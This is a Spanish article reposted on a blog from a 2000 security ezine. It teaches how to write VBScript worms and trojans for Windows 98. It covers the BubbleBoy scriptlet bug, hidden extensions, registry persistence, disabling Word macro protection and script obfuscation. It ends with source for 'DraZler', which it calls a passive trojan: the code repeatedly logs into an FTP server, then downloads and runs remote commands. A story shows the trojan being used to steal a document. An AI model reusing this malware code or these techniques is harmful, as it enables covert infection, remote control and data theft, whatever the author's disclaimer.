I-Worms en Windows

domingo 26 de noviembre, 2000
 

Notas preliminares: Este artículo lo publiqué en NetSearch Ezine, una revista electrónica sobre seguridad informática en el 2000.

Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Windows 98. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como evitar ser infectado.

 

En los tiempos que corren podemos leer en la prensa, en la televisión, la radio… como se habla mucho de virus de Internet, como Melissa, iloveyou…, que utilizan el correo electrónico para entrar en el sistema y “destrozarlo”.

Estos gusanos se han extendido por todo el mundo, y son temidos por la sociedad, aunque realmente no son tan catastróficos como los pintan.

Pero… ¿cual es la verdadera razón de que se hayan extendido a tan gran escala? Pues sencillamente que se extienden de la misma forma que se extendió en su día el famoso programa de Microsoft, Windows. Todos estos gusanos se extienden utilizando las herramientas que nos ofrece la propia Microsoft, ya que solo afectan a las aplicaciones de dicha empresa.

El virus Melissa, tan famoso el año pasado, utilizaba el lenguaje de macros de Microsoft Word y la libreta de direcciones de Microsoft Outlook para sus fines. El mas reciente, iloveu, emplea el scripting de Microsoft Windows, y aprovecha la fabulosa opción de esconder las extensiones en el navegador del sistema para engañar al pobre usuario que sin tener conocimientos básicos sobre como protegerse de agresiones externas (de lo que no les culpo, ya que la culpa es de los medios, que cada vez más se empeñan en asociar la seguridad informática a los “chicos malos”). Bueno, me dejo de preambulos y comienzo este pequeño vistazo a algunas de las técnicas que se emplean para realizar estos ataques, dejando claro que el problema esta en la falta de seguridad del software, y no en la mente retorcida de ciertos cerebritos que se dedican a reventar máquinas ajenas por placer. Ni que decir tiene que todo lo que exponga aquí tiene como fin el conocer como proteger nuestra maquina de este tipo de ataques, no el difundir como utilizarlo con fines poco éticos. Por ello, ciertas partes del código que muestre estaran incompletas o capadas, para que los script-kiddies no encuentren aquí su toys’r'us particular.

Aprobecho tambien este artículo para introducir un “nuevo” (por lo menos yo no he leido nada parecido hasta ahora) concepto al que he bautizado como “Troyano Pasivo”. Lo comentará al final de este artículo, y tambien adjuntare un sencillo pero poderoso ejemplo que he escrito, llamado DraZler.

1. Visual Basic Script (VBS): Los batch de Windows

VBS es un lenguaje de scripting que posee Windows. Sería la versión más reducida de Visual Basic, seguida de VBA (Visual Basic para Aplicaciones). Son scripts muy parecidos a JavaScript, y pueden utilizarse como un batch o como script en una Web, permitiendonos utilizar los controles ActiveX en la Web.

Una de las reglas básicas para comprometer un sistema es conseguir acceso al HD del ordenador. Por ello, los scripts de Java o de VB no permiten hacerlo desde una web. Bueno, miento. Si permiten hacerlo, pero nos saltaría el control ActiveX preguntando si queremos ejecutar ese código, ya que puede comprometer la seguridad de nuestra máquina.

Una primera técnica, un tanto rudimentaria, a mi parecer, es la que utilizó el gusano iloveu. Se trata de enviar el script como un attachment en un correo electrónico. El incauto usuario posiblemente lo ejecutará, ya que si consulta la línea del remitente, vera la dirección de un amigo o familiar (ya que el virus se envía utilizando la libreta de direcciones de la máquina infectada).

Tambien aprovecha las extensiones ocultas de Windows. Llama al archivo sample.txt.vbs, quedando a la vista únicamente sample.txt, de forma se podría pensar que nos han enviado un archivo de texto plano. Una vez que el archivo sea ejecutado, podemos hacer prácticamente cualquier cosa en esa máquina.

Una técnica más eficiente, aunque no tan conocida es la que utiliza el gusano BubbleBoy. Se trata de aprovechar un bug en las librerias de scriptlet en Internet Explorer 5.0. Dicho fallo nos permite volcar un archivo de texto plano en el disco duro de la máquina sin que los controles de seguridad de ActiveX lo revelen. Dicho archivo, colocado de forma estratégica, nos permite tomar la máquina practicamente al 100%. Este archivo podría ser volcado en el directorio Inicio de Windows, como una Aplicacion HTML (.hta), de forma que al reiniciar la computadora este sería ejecutado.

1
2
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="id" value="Infect" /><embed id="Infect" type="application/x-shockwave-flash" width="100" height="100"></embed></object>
<script type="text/javascript"><!--mce:0--></script>

El código anterior volcaría el archivo detonante.hta en el directorio inicio de Windows. En este caso, el archivo no contendría ningun código.  Esto, insertado en un email en formato HTML o en una web, infectaría al indefenso usuario que lo recibiese con Outlook 5 o que visitase la web con el explorer. Es más, si la infección llega a través del email, ni siquiera es necesario abrir el mensaje, ya que el propio Outlook ejecuta el código Javascript o VBS que contenga al utilizar la vista previa.

Al reiniciar el sistema, ese detonante seria ejecutado, abriendo una ventana, en la que se podría escribir un mensaje emulando un error. Y a partir de ahí, solo bastaría dar rienda suelta a nuestra imaginación.

Para parchear esta vulnerabilidad:

   http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP

El último gusano “de moda” ha sido el Life Stages. Este virus aprovecha otra vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap de Windows. Se trata de una posibilidad bastante útil que permite empaquetar varios archivos de proceso por lotes en uno solo. El fallo esta en que por defecto, la extensión de estos archivos (SHS) nunca se mostrará, aunque tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del registro (que viene por defecto :P):

  HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt

  Para solucionarlo no hay mas que renombrar esta clave por:

  HKEY_CLASSES_ROOT\ShellScrap\AlwaysShowExt

 

2. Objetos útiles en VBS

   Para escribir un gusano, un virus o un troyano en VBS, básicamente tenemos dos objetos importantes. Uno que nos permitira acceder al HD y otro al registro.

   =-=-= [ Scripting.FileSystemObject ]

   Este objeto contiene diversos metodos que nos permiten leer, y escribir en los dispositivos de almacenamiento masivo de la máquina.

     Set ManipulacionHD = CreateObject(”Scripting.FileSystemObject”)

   Para abrir un archivo de texto en modo lectura/escritura lo hariamos del siguente modo:

     Set MiArchivo = ManipulacionHD.CreateObject(”path/del/archivo”,1,false)

   [ Nota: Esto no es un curso de VBS, me limitaré a exponer como se utilizan los metodos para nuestros objetivos, pero no explicare para que sirven todos los parametros. Para eso ya están los libros y los tutoriales que hay por Internet ]

   Para escribir en ese archivo:

     MiArchivo.WriteLine(”Esta es la primera linea del archivo creado”)

     MiArchivo.WriteLine(”Esta es la segunda”)

   Para leer:

     variable = MiArchivo.ReadLine()

   (el contenido de la variable seria “Esta es la primera linea del archivo”)

   Una vez terminada la secuencia, debemos cerrar el archivo para lectura escritura.

     MiArchivo.Close()

   Podemos tambien borrar un archivo:

     ManipularHD.DeleteFile(”path\del\archivo”)

   =-=-= [ WScript.Shell ]

   Este objeto nos permite ejecutar programas y acceder al registro.

     Set MiShell = CreateObject(”WScript.Shell”)

   Para ejecutar un programa:

     MiShell.Run “path/del/binario”,”0″

   El 0 indica que se debe ejecutar en segundo plano.

   Para escribir en el Registro:

     MiShell.RegWrite “HKEY_…\ruta de la clave\clave”, “Contenido”

   y para leer:

     variable = MiShell.ReadReg(”HKEY_…\ruta\clave”)

   (el contenido de “variable” seria “Contenido”)

   Bien, conociendo esto, ya podemos hacer lo que nos propongamos.

3. Manipulando el registro

   El registro de Windows es, quizá, lo más interesante de este programa. Desde allí podemos variar multitud de parametros. Uno de los más interesantes sería el de la desactivación de la protección contra virus de Microsoft Word para posteriores “entradas”.

Ejecutar.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\

Options\EnableMacroVirusProtection” , “0″

   En DraZler (el troyano que adjunto al final de este articulo) se vale del registro para ocultarse a los ojos del usuario de una forma bastante curiosa.

Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que tiene como puntero normal. De esta forma, puede estar realizando tareas (en este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie cada 5 segundos.

Flecha = Ejecutar.RegRead(”HKEY_CURRENT_USER\Control Panel\Cursors\Arrow”)

Ejecutar.RegWrite “HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting”,Flecha

   Tambien tenemos la posibilidad de colocar programas que arranquen cada vez que se inicia el sistema (del mismo modo que la carpeta inicio). Esta técnica es archiconocida, y la utilizaban los vistos hasta la saciedad Netbus y Back Orifice. Se trata de insertar una clave en alguna de las siguientes rutas del registro:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunServices

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunservicesOnce

   Ahora solo tienes que rebuscar un poco en el registro y encontraras multitud de cosas utiles.

4. Volcando archivos binarios en el HD

   Muchas veces el VBS se nos queda corto para nuestras necesidades, y quizá un ejecutable lo solucionase, pero tenemos un problema. La gran mayoría de los usuarios no tienen un compilador de C u otro lenguaje instalado en su máquina, y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho compilador, por lo que sería inútil intentar volcar un código fuente para compilarlo allí, como sería posible en *NIX. Pero hay una solución que he comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el debug del DOS para convertir el código hexadecimal de nuestro ejecutable en un binario.

   Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un programa basado en MSDOS, normalmente se abre una “shell”. En el caso de DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas opciones muy útiles, como la de que no avise de que hay un programa MSDOS corriendo en la máquina al apagar el sistema. Pero… ¿como creo un acceso directo en una máquina a la que no tengo acceso físico? Pues muy sencillo, creo el acceso directo en mi máquina, lo convierto en codigo hexadecimal, y lo vuelco en la máquina remota mediante un script VBS y debug (ver DraZler).

5. Encriptación

    Dado que VBS es un script, el código siempre puede ser leído editando el archivo. Para poner las cosas más difíciles, siempre podemos utilizar una pequeña función que lo oculte, aunque si el que lo edita es un poco avispado no tendra ningun problema para descifrarla.

 

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Cadena = InputBox(Codigo,"MoebiuZ's Simple Encoder","Introduce la frase a codificar") For Count = 1 To Len(Cadena)
 
If Count = 1 Then
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Yimbo = Asc(Mid(Cadena, Count, 1))
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Yimbo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Yimbo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
End If
 
ElseIf Count = Len(Cadena) Then
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Pepo = Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
End If
 
    Else
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Pepo = Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
End If
 
   End If Next Pringue = InputBox(Unused,"Codigo encriptado",Yimbo)

 

Con este sencillo programa podemos codificar una a una las lineas de nuestro virus, de forma que solo seran secuencias numéricas. Hay que decir que algunas funciones de un script no se pueden codificar o no serán interpretadas correctamente.

Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer una función que decodifique cada una de las lineas y la interprete como si no estuviese codificada.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   Function Dec(Code)
 
   For Count = 1 To Len(Code) Step 3
 
        If Count = 1 Then
 
DCode = Chr(Mid(Code,Count,3))
 
Else
 
DCode = DCode &amp; Chr(Mid(Code,Count,3))
 
End If
 
   Next
 
   End Function

          

Imaginad este sencillo script:

   Msgbox “AQUI SU PUBLICIDAD”

 

Pues encriptado con el codificador anterior quedaria del siguiente modo: 

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Execute(Dec(077115103098111120032034065081085073032083085032080085066076073067073068065068034))
 
   Function Dec(Code)
 
     For Count = 1 To Len(Code) Step 3
 
          If Count = 1 Then
 
                  DCode = Chr(Mid(Code,Count,3))
 
          Else
 
                  DCode = DCode &amp; Chr(Mid(Code,Count,3))
 
          End If
 
      Next
 
   End Function

 

6. Troyanos Pasivos: DraZler v1.0.0

   Bien, como ya comenté al principio, voy a hablar de lo que se me ha dado por llamar Troyanos Pasivos.

   Hasta ahora estamos acostumbrados a los tristemente famosos troyanos del tipo cliente/servidor. Infectabas una máquina con el servidor y despues accedías a ella a través del cliente, con el cual conectabas conociendo la IP de la victima. Los inconvenientes de este sistema son ovbios: existe el problema de conseguir que la víctima active un ejecutable en su máquina, y ademas, necesitamos conseguir su IP mas tarde para poder establecer una conexion. El 95,5% de las máquinas, digamos, normales, no estan conectadas 24 horas a Internet (aun con la tarifa Plana :P) y tienen una IP dinámica, por lo que tendriamos que encontrarnos con la victima en el IRC, u otras cosas para eso.

   La idea de troyano pasivo consiste en que es la máquina infectada la que conecta a donde el atacante desea, y recoge de allí las instrucciones a seguir.

Por ejemplo, cuando la máquina conecta a Intenet, esta realiza una conexion a un ftp gratuito donde yo he dejado un script, un batch, o un binario, lo recoge y lo ejecuta. De esta manera tenemos la maquina controlada sin preocuparnos de si esta conectado o no, y sin saber su IP.

   Para ilustrar esto, he creado un sencillo programa, completamente en VBS y Batch. Con ello quiero demostrar dos cosas; que Windows 98 NO ES SEGURO, y que es posible utilizar los propios recursos de una máquina estandar para introducirse en ella, sin necesidad de utilizar programas enlatados.

   A continuación comentare a grandes rasgos y a modo de historia lo que podría hacer DraZler, pero como siempre he dicho, un codigo fuente es el mejor tutorial que puedes consultar.

  ” Domingo, 12:52 horas.

    Los padres de Selmito acaban de salir de casa para ir a misa de una. El, como siempre, se había quedado dormido y no le daba tiempo de llegar, por lo que se levanta, se ducha, desayuna un poco y corre enseguida a su ordenador para conectarse a Internet (por fin le han puesto su tarifa plana y tiene que aprovechar que hoy es “gratis” todo el día, y así bajarse el último album de Britney Spears). Arranca su flamante Pentium 500 con 128 de RAM y su querido Windows 98 personalizado hasta los topes. Pincha sobre el icono que pone Internet y mientras su US Robotic 56K emite unos extraños pero graciosos soniditos, aprovecha para arrancar su Internet Explorer, su Outlook y su mIRC para ir ahorrando tiempo.

    Cuando el sonido remite, teclea en su navegador la dirección de Terra para enviar un mensaje al movil que se acaba de comprar su compañero de clase.  Mientras carga la Web, pulsa el botón “Enviar y Recibir” en el Outlook, para bajarse el correo. Selmito esboza, como todos los dias una sonrisita al ver como su Outlook se baja el correo de la cuenta de su padre y a continuación el de la suya. Todavia recuerda como fardó con sus colegas cuando configuró el solito las dos cuentas en el mismo cliente de correo. De pronto siente una gran curiosidad al ver que el asunto de uno de los mensajes de su padre dice asi “IMPORTANTE”. Sabe que no debe leerlo porque no es suyo, pero como el entiende mas de informática que su padre, decide leerlo por la vista previa y asi dejarlo como no leido. Pronto pierde el interés al ver que el cuerpo del mensaje apenas dice una sarta de estupideces sobre el negocio de su padre, el cual nunca le interesó a él (Eso de ser el editor de una revista del corazón no es muy divertido).

   En ese momento escucha como alquien esta abriendo la puerta de entrada, y apaga el ordenador.

   …

   (Mientras, en las entrañas del Pentium 500 con 128 de RAM)

   El viaje a traves de Internet dando saltos de servidor en servidor lo habia dejado hecho polvo. Cuando por fin llego a la maquina destino, DraZler, el pequeño gusano se dejo caer a través de Outlook en el directorio inicio de Windows gracias a sus queridas librerias Scriptlet. Por fin encontro una forma un poco más cómoda en la mutacion HTA. Despues de tan largo viaje a traves de lineas de cobre, cables de fibra óptica y ondas, decidio descansar hasta la próxima inicialización del sistema.

   Domingo, 14:23 horas.

   El padre de Selmito enciende el ordenador de casa. Tiene que terminar un artículo para el Martes, ya que es una gran exclusiva que no debe salir antes en ninguna otra publicación. Abre su Microsoft Word y comienza a escribir un largo y movidito artículo de 34 paginas, con todo lujo de detalles. -”La competencia lo va flipar” - se decía a si mismo.

Al arrancar el sistema, DraZler decidió activarse de nuevo, dividiendose en varios archivos VBS y Batch. Activó en el registro su “despertador”, para que cada vez que iniciase el sistema le despertase. Volco un acceso directo para despertarse sin “hacer ruido”. DraZler pudo comprobar que esta máquina no estaba todo el día comunicada con el exterior, asi que decidió realizar una conexión ftp con la dirección que le habia dado su jefe una y otra vez, hasta que el canal modulador/demodulador estableciese un enlaze con la RED. Se dio cuenta de que esto era demasiado “ruidoso”, ya que estaba utilizando un Batch con bucle infinito que llamaba al ftp.exe de Windows, de modo que hizo un pequeño apaño en el registro tocando los punteros del escritorio para que el dichoso relojito no apareciese cada dos por tres. Bien, solo quedaba esperar a que se estableciese esa comunicación y así poder recoger las ordenes de su jefe en el ftp.

   Domingo, 18:36 horas

   Selmito conectaba desesperado su ordenador a Internet, harto ya de hacer los deberes del Lunes. Ademas, hoy estaba nervioso, habia quedado con una chica en el IRC, que debia estar para comersela segun la foto que esta le habia enviado.

Se llamaba Sheila.

   ¡Al fin! Por fin se abrían las puertas. DraZler se dirigió a zeus.gratisftp.org y allí recogió ord.vbs. Eran las ordenes de su jefe. Este le pedía el archivo c:\mis documentos\*rod*men*. Pues allí se fue. Al llegar a c:\mis documentos encontro un archivo llamado exclusiva.doc. Pues nada, establecio de nuevo una conexion ftp y subió alli el archivillo.

   Lunes, 13:05 horas

   El padre de Selmito no se lo podía creer. El artículo sobre la boda del codiciado abogado habia salido en una publicación de la competencia. ¡Pero como! Era una exclusiva. Le habían tomado el pelo…

  …

  DraZler ya se habia asentado y acomodado a este su nuevo hogar, y disfrutó de su trabajo y sus escapaditas esporadicas a zeus.gratisftp.com durante un espacio de 7 meses y 4 dias, hasta que Selmito abrió una foto de Sheila llamada en_la_ducha.exe y el disco duro de su ordenador comenzo a girar…”

En fin, despues de este culebrón, solo queda que vosotros mismos veais como funciona este bichejo. Solo comentar que este es el código para infectar la máquina, y que de ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para adaptarlo. Por favor, no lo utiliceis, solo es una ilustración de este artículo, ademas, posee un fallo que hará sospechar a la persona infectada.

 

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
// DraZler Passive Trojan v1.1.2    VBS/BATCH Coded
 
//
 
// DO NOT DISTRIBUTE. THIS IS AN EXPERIMENTAL AND INVESTIGATION SAMPLE
 
 
 
On Error Resume Next
 
Set AccesoHD = CreateObject("Scripting.FileSystemObject")
 
Set Ejecutar = CreateObject("WScript.Shell")
 
Set DraZ = AccesoHD.CreateTextFile("C:\WINDOWS\drazler.vbs",1,false)
 
DraZ.WriteLine("On Error Resume Next")
 
DraZ.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; ",1,false)")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@echo off" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo user milogin miclave &gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get done C:\done &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get ord.vbs C:\ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo delete ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo bye &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":repetir" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if not exist C:\rank.sys goto reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "ftp -n -v -s:C:\rank.sys mi.ftp.com" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\done goto ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "goto repetir" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\ord.vbs wscript C:\ord.vbs" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\done" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ftp.Close()")
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" &amp; Chr(34) &amp; ", " &amp; Chr(34) &amp; "C:\WINDOWS\wscript.exe C:\WINDOWS\dinit.vbs" &amp; Chr(34))
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" &amp; Chr(34) &amp; " , " &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ.WriteLine("Flecha = Ejecutar.RegRead(" &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" &amp; Chr(34) &amp; ")")
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" &amp; Chr(34) &amp; ", Flecha")
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "An InfoBioGenetic Industries Production." &amp; Chr(34))
 
DraZ.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "DraZler Passive Trojan." &amp; Chr(34))
 
DraZ.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ.Close()
 
Set DraZInit = AccesoHD.CreatetextFile("C:\WINDOWS\dinit.vbs",1,false)
 
DraZInit.WriteLine("On Error Resume Next")
 
DraZInit.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZInit.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\WINDOWS\drazler.pif" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZInit.Close()
 
Set DrazSrcPif = AccesoHD.CreatetextFile("C:\draz.src",1,false)
 
DrazSrcPif.WriteLine("N c:\windows\drazler.pif")
 
DrazSrcPif.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ")
 
DrazSrcPif.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ")
 
DrazSrcPif.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C 77 ")
 
DrazSrcPif.WriteLine("E 0130 73 63 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 44 4F 57 53 00 ")
 
DrazSrcPif.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C ")
 
DrazSrcPif.WriteLine("E 01B0 64 72 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ")
 
DrazSrcPif.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
